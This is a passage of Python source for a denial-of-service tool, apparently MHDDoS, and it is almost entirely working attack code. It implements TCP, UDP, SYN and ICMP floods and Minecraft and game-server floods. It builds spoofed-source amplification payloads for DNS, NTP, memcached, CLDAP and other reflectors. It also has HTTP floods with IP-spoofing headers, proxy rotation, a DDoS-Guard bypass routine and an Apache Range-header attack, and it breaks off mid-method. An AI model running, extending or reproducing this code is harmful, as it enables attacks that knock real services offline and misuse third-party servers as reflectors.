MHDDoS/MHDDOS_GUI_zh_CN.py

2276 lines
91 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python3
from concurrent.futures import ThreadPoolExecutor, as_completed
from contextlib import suppress
from itertools import cycle
from json import load
from logging import basicConfig, getLogger, shutdown
from math import log2, trunc
from multiprocessing import RawValue
from os import urandom as randbytes
from pathlib import Path
from re import compile
from random import choice as randchoice
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context
from struct import pack as data_pack
from subprocess import run, PIPE
from sys import argv
from sys import exit as _exit
from threading import Event, Thread
from time import sleep, time
from typing import Any, List, Set, Tuple
from urllib import parse
from uuid import UUID, uuid4
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from certifi import where
from cloudscraper import create_scraper
from dns import resolver
from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, exceptions, get, cookies
from yarl import URL
from base64 import b64encode
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S")
logger = getLogger("MHDDoS")
logger.setLevel("INFO")
ctx: SSLContext = create_default_context(cafile=where())
ctx.check_hostname = False
ctx.verify_mode = CERT_NONE
__version__: str = "2.4 SNAPSHOT"
__dir__: Path = Path(__file__).parent
__ip__: Any = None
tor2webs = [
'onion.city',
'onion.cab',
'onion.direct',
'onion.sh',
'onion.link',
'onion.ws',
'onion.pet',
'onion.rip',
'onion.plus',
'onion.top',
'onion.si',
'onion.ly',
'onion.my',
'onion.sh',
'onion.lu',
'onion.casa',
'onion.com.de',
'onion.foundation',
'onion.rodeo',
'onion.lat',
'tor2web.org',
'tor2web.fi',
'tor2web.blutmagie.de',
'tor2web.to',
'tor2web.io',
'tor2web.in',
'tor2web.it',
'tor2web.xyz',
'tor2web.su',
'darknet.to',
's1.tor-gateways.de',
's2.tor-gateways.de',
's3.tor-gateways.de',
's4.tor-gateways.de',
's5.tor-gateways.de'
]
with open(__dir__ / "config.json") as f:
con = load(f)
with socket(AF_INET, SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
__ip__ = s.getsockname()[0]
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
RESET = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def exit(*message):
if message:
logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
shutdown()
_exit(1)
class Methods:
LAYER7_METHODS: Set[str] = {
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
}
LAYER4_AMP: Set[str] = {
"MEM", "NTP", "DNS", "ARD",
"CLDAP", "CHAR", "RDP"
}
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
"MCBOT", "CONNECTION", "CPS", "FIVEM",
"TS3", "MCPE", "ICMP"
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
google_agents = [
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
"+http://www.google.com/bot.html)) "
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
]
class Counter:
def __init__(self, value=0):
self._value = RawValue('i', value)
def __iadd__(self, value):
self._value.value += value
return self
def __int__(self):
return self._value.value
def set(self, value):
self._value.value = value
return self
REQUESTS_SENT = Counter()
BYTES_SEND = Counter()
class Tools:
IP = compile("(?:\\d{1,3}\\.){3}\\d{1,3}")
protocolRex = compile('"protocol":(\\d+)')
@staticmethod
def humanbytes(i: int, binary: bool = False, precision: int = 2):
MULTIPLES = [
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
]
if i > 0:
base = 1024 if binary else 1000
multiple = trunc(log2(i) / log2(base))
value = i / pow(base, multiple)
suffix = MULTIPLES[multiple].format("i" if binary else "")
return f"{value:.{precision}f} {suffix}"
else:
return "-- B"
@staticmethod
def humanformat(num: int, precision: int = 2):
suffixes = ['', 'k', 'm', 'g', 't', 'p']
if num > 999:
obje = sum(
[abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
else:
return num
@staticmethod
def sizeOfRequest(res: Response) -> int:
size: int = len(res.request.method)
size += len(res.request.url)
size += len('\r\n'.join(f'{key}: {value}'
for key, value in res.request.headers.items()))
return size
@staticmethod
def send(sock: socket, packet: bytes):
global BYTES_SEND, REQUESTS_SENT
if not sock.send(packet):
return False
BYTES_SEND += len(packet)
REQUESTS_SENT += 1
return True
@staticmethod
def sendto(sock, packet, target):
global BYTES_SEND, REQUESTS_SENT
if not sock.sendto(packet, target):
return False
BYTES_SEND += len(packet)
REQUESTS_SENT += 1
return True
@staticmethod
def dgb_solver(url, ua, pro=None):
s = None
idss = None
with Session() as s:
if pro:
s.proxies = pro
hdrs = {
"User-Agent": ua,
"Accept": "text/html",
"Accept-Language": "en-US",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"TE": "trailers",
"DNT": "1"
}
with s.get(url, headers=hdrs) as ss:
for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value))
hdrs = {
"User-Agent": ua,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": url,
"Sec-Fetch-Dest": "script",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site"
}
with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
for key, value in ss.cookies.items():
if key == '__ddg2':
idss = value
s.cookies.set_cookie(cookies.create_cookie(key, value))
hdrs = {
"User-Agent": ua,
"Accept": "image/webp,*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Cache-Control": "no-cache",
"Referer": url,
"Sec-Fetch-Dest": "script",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site"
}
with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value))
return s
return False
@staticmethod
def safe_close(sock=None):
if sock:
sock.close()
class Minecraft:
@staticmethod
def varint(d: int) -> bytes:
o = b''
while True:
b = d & 0x7F
d >>= 7
o += data_pack("B", b | (0x80 if d > 0 else 0))
if d == 0:
break
return o
@staticmethod
def data(*payload: bytes) -> bytes:
payload = b''.join(payload)
return Minecraft.varint(len(payload)) + payload
@staticmethod
def short(integer: int) -> bytes:
return data_pack('>H', integer)
@staticmethod
def long(integer: int) -> bytes:
return data_pack('>q', integer)
@staticmethod
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(target[0].encode()),
Minecraft.short(target[1]),
Minecraft.varint(state))
@staticmethod
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(
target[0].encode(),
b"\x00",
ip.encode(),
b"\x00",
uuid.hex.encode()
),
Minecraft.short(target[1]),
Minecraft.varint(state))
@staticmethod
def login(protocol: int, username: str) -> bytes:
if isinstance(username, str):
username = username.encode()
return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
0x01 if protocol >= 385 else \
0x00),
Minecraft.data(username))
@staticmethod
def keepalive(protocol: int, num_id: int) -> bytes:
return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
0x10 if protocol >= 712 else \
0x0F if protocol >= 471 else \
0x10 if protocol >= 464 else \
0x0E if protocol >= 389 else \
0x0C if protocol >= 386 else \
0x0B if protocol >= 345 else \
0x0A if protocol >= 343 else \
0x0B if protocol >= 336 else \
0x0C if protocol >= 318 else \
0x0B if protocol >= 107 else \
0x00),
Minecraft.long(num_id) if protocol >= 339 else \
Minecraft.varint(num_id))
@staticmethod
def chat(protocol: int, message: str) -> bytes:
return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
0x03 if protocol >= 464 else \
0x02 if protocol >= 389 else \
0x01 if protocol >= 343 else \
0x02 if protocol >= 336 else \
0x03 if protocol >= 318 else \
0x02 if protocol >= 107 else \
0x01),
Minecraft.data(message.encode()))
# noinspection PyBroadException,PyUnusedLocal
class Layer4(Thread):
_method: str
_target: Tuple[str, int]
_ref: Any
SENT_FLOOD: Any
_amp_payloads = cycle
_proxies: List[Proxy] = None
def __init__(self,
target: Tuple[str, int],
ref: List[str] = None,
method: str = "TCP",
synevent: Event = None,
proxies: Set[Proxy] = None,
protocolid: int = 74):
Thread.__init__(self, daemon=True)
self._amp_payload = None
self._amp_payloads = cycle([])
self._ref = ref
self.protocolid = protocolid
self._method = method
self._target = target
self._synevent = synevent
if proxies:
self._proxies = list(proxies)
self.methods = {
"UDP": self.UDP,
"SYN": self.SYN,
"VSE": self.VSE,
"TS3": self.TS3,
"MCPE": self.MCPE,
"FIVEM": self.FIVEM,
"MINECRAFT": self.MINECRAFT,
"CPS": self.CPS,
"CONNECTION": self.CONNECTION,
"MCBOT": self.MCBOT,
}
def run(self) -> None:
if self._synevent: self._synevent.wait()
self.select(self._method)
while self._synevent.is_set():
self.SENT_FLOOD()
def open_connection(self,
conn_type=AF_INET,
sock_type=SOCK_STREAM,
proto_type=IPPROTO_TCP):
if self._proxies:
s = randchoice(self._proxies).open_socket(
conn_type, sock_type, proto_type)
else:
s = socket(conn_type, sock_type, proto_type)
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
s.settimeout(.9)
s.connect(self._target)
return s
def TCP(self) -> None:
s = None
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while Tools.send(s, randbytes(1024)):
continue
Tools.safe_close(s)
def MINECRAFT(self) -> None:
handshake = Minecraft.handshake(self._target, self.protocolid, 1)
ping = Minecraft.data(b'\x00')
s = None
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while Tools.send(s, handshake):
Tools.send(s, ping)
Tools.safe_close(s)
def CPS(self) -> None:
global REQUESTS_SENT
s = None
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
REQUESTS_SENT += 1
Tools.safe_close(s)
def alive_connection(self) -> None:
s = None
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
while s.recv(1):
continue
Tools.safe_close(s)
def CONNECTION(self) -> None:
global REQUESTS_SENT
with suppress(Exception):
Thread(target=self.alive_connection).start()
REQUESTS_SENT += 1
def UDP(self) -> None:
s = None
with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, randbytes(1024), self._target):
continue
Tools.safe_close(s)
def ICMP(self) -> None:
payload = self._genrate_icmp()
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def SYN(self) -> None:
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, self._genrate_syn(), self._target):
continue
Tools.safe_close(s)
def AMP(self) -> None:
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, *next(self._amp_payloads)):
continue
Tools.safe_close(s)
def MCBOT(self) -> None:
s = None
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
Tools.send(s, Minecraft.handshake_forwarded(self._target,
self.protocolid,
2,
ProxyTools.Random.rand_ipv4(),
uuid4()))
username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
password = b64encode(username.encode()).decode()[:8].title()
Tools.send(s, Minecraft.login(self.protocolid, username))
sleep(1.5)
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
sleep(1.1)
Tools.safe_close(s)
def VSE(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
b'\x20\x51\x75\x65\x72\x79\x00')
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def FIVEM(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def TS3(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def MCPE(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
b'\x73')
with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)
def _genrate_syn(self) -> bytes:
ip: IP = IP()
ip.set_ip_src(__ip__)
ip.set_ip_dst(self._target[0])
tcp: TCP = TCP()
tcp.set_SYN()
tcp.set_th_flags(0x02)
tcp.set_th_dport(self._target[1])
tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
ip.contains(tcp)
return ip.get_packet()
def _genrate_icmp(self) -> bytes:
ip: IP = IP()
ip.set_ip_src(__ip__)
ip.set_ip_dst(self._target[0])
icmp: ICMP = ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)
icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
ip.contains(icmp)
return ip.get_packet()
def _generate_amp(self):
payloads = []
for ref in self._ref:
ip: IP = IP()
ip.set_ip_src(self._target[0])
ip.set_ip_dst(ref)
ud: UDP = UDP()
ud.set_uh_dport(self._amp_payload[1])
ud.set_uh_sport(self._target[1])
ud.contains(Data(self._amp_payload[0]))
ip.contains(ud)
payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
return payloads
def select(self, name):
self.SENT_FLOOD = self.TCP
for key, value in self.methods.items():
if name == key:
self.SENT_FLOOD = value
elif name == "ICMP":
self.SENT_FLOOD = self.ICMP
self._target = (self._target[0], 0)
elif name == "RDP":
self._amp_payload = (
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
3389)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "CLDAP":
self._amp_payload = (
b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
389)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "MEM":
self._amp_payload = (
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "CHAR":
self._amp_payload = (b'\x01', 19)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "ARD":
self._amp_payload = (b'\x00\x14\x00\x00', 3283)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "NTP":
self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
elif name == "DNS":
self._amp_payload = (
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
53)
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
# noinspection PyBroadException,PyUnusedLocal
class HttpFlood(Thread):
_proxies: List[Proxy] = None
_payload: str
_defaultpayload: Any
_req_type: str
_useragents: List[str]
_referers: List[str]
_target: URL
_method: str
_rpc: int
_synevent: Any
SENT_FLOOD: Any
def __init__(self,
thread_id: int,
target: URL,
host: str,
method: str = "GET",
rpc: int = 1,
synevent: Event = None,
useragents: Set[str] = None,
referers: Set[str] = None,
proxies: Set[Proxy] = None) -> None:
Thread.__init__(self, daemon=True)
self.SENT_FLOOD = None
self._thread_id = thread_id
self._synevent = synevent
self._rpc = rpc
self._method = method
self._target = target
self._host = host
self._raw_target = (self._host, (self._target.port or 80))
if not self._target.host[len(self._target.host) - 1].isdigit():
self._raw_target = (self._host, (self._target.port or 80))
self.methods = {
"POST": self.POST,
"CFB": self.CFB,
"CFBUAM": self.CFBUAM,
"XMLRPC": self.XMLRPC,
"BOT": self.BOT,
"APACHE": self.APACHE,
"BYPASS": self.BYPASS,
"DGB": self.DGB,
"OVH": self.OVH,
"AVB": self.AVB,
"STRESS": self.STRESS,
"DYN": self.DYN,
"SLOW": self.SLOW,
"GSB": self.GSB,
"RHEX": self.RHEX,
"STOMP": self.STOMP,
"NULL": self.NULL,
"COOKIE": self.COOKIES,
"TOR": self.TOR,
"EVEN": self.EVEN,
"DOWNLOADER": self.DOWNLOADER,
"BOMB": self.BOMB,
"PPS": self.PPS,
"KILLER": self.KILLER,
}
if not referers:
referers: List[str] = [
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
"/sharer.php?u=",
",https://drive.google.com/viewerng/viewer?url=",
",https://www.google.com/translate?u="
]
self._referers = list(referers)
if proxies:
self._proxies = list(proxies)
if not useragents:
useragents: List[str] = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
]
self._useragents = list(useragents)
self._req_type = self.getMethodType(method)
self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
self._payload = (self._defaultpayload +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n')
def select(self, name: str) -> None:
self.SENT_FLOOD = self.GET
for key, value in self.methods.items():
if name == key:
self.SENT_FLOOD = value
def run(self) -> None:
if self._synevent: self._synevent.wait()
self.select(self._method)
while self._synevent.is_set():
self.SENT_FLOOD()
@property
def SpoofIP(self) -> str:
spoof: str = ProxyTools.Random.rand_ipv4()
return ("X-Forwarded-Proto: Http\r\n"
f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
f"Via: {spoof}\r\n"
f"Client-IP: {spoof}\r\n"
f'X-Forwarded-For: {spoof}\r\n'
f'Real-IP: {spoof}\r\n')
def generate_payload(self, other: str = None) -> bytes:
return str.encode((self._payload +
f"Host: {self._target.authority}\r\n" +
self.randHeadercontent +
(other if other else "") +
"\r\n"))
def open_connection(self, host=None) -> socket:
if self._proxies:
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
else:
sock = socket(AF_INET, SOCK_STREAM)
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
sock.settimeout(.9)
sock.connect(host or self._raw_target)
if self._target.scheme.lower() == "https":
sock = ctx.wrap_socket(sock,
server_hostname=host[0] if host else self._target.host,
server_side=False,
do_handshake_on_connect=True,
suppress_ragged_eofs=True)
return sock
@property
def randHeadercontent(self) -> str:
return (f"User-Agent: {randchoice(self._useragents)}\r\n"
f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
self.SpoofIP)
@staticmethod
def getMethodType(method: str) -> str:
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
"DYN", "SLOW", "PPS", "APACHE",
"BOT", "RHEX", "STOMP"} \
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
else "REQUESTS"
def POST(self) -> None:
payload: bytes = self.generate_payload(
("Content-Length: 44\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def TOR(self) -> None:
provider = "." + randchoice(tor2webs)
target = self._target.authority.replace(".onion", provider)
payload: Any = str.encode(self._payload +
f"Host: {target}\r\n" +
self.randHeadercontent +
"\r\n")
s = None
target = self._target.host.replace(".onion", provider), self._raw_target[1]
with suppress(Exception), self.open_connection(target) as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STRESS(self) -> None:
payload: bytes = self.generate_payload(
("Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def COOKIES(self) -> None:
payload: bytes = self.generate_payload(
"Cookie: _ga=GA%s;"
" _gat=1;"
" __cfduid=dc232334gwdsd23434542342342342475611928;"
" %s=%s\r\n" %
(ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
ProxyTools.Random.rand_str(32)))
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def APACHE(self) -> None:
payload: bytes = self.generate_payload(
"Range: bytes=0-,%s" % ",".join("5-%d" % i
for i in range(1, 1024)))
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def XMLRPC(self) -> None:
payload: bytes = self.generate_payload(
("Content-Length: 345\r\n"
"X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/xml\r\n\r\n"
"<?xml version='1.0' encoding='iso-8859-1'?>"
"<methodCall><methodName>pingback.ping</methodName>"
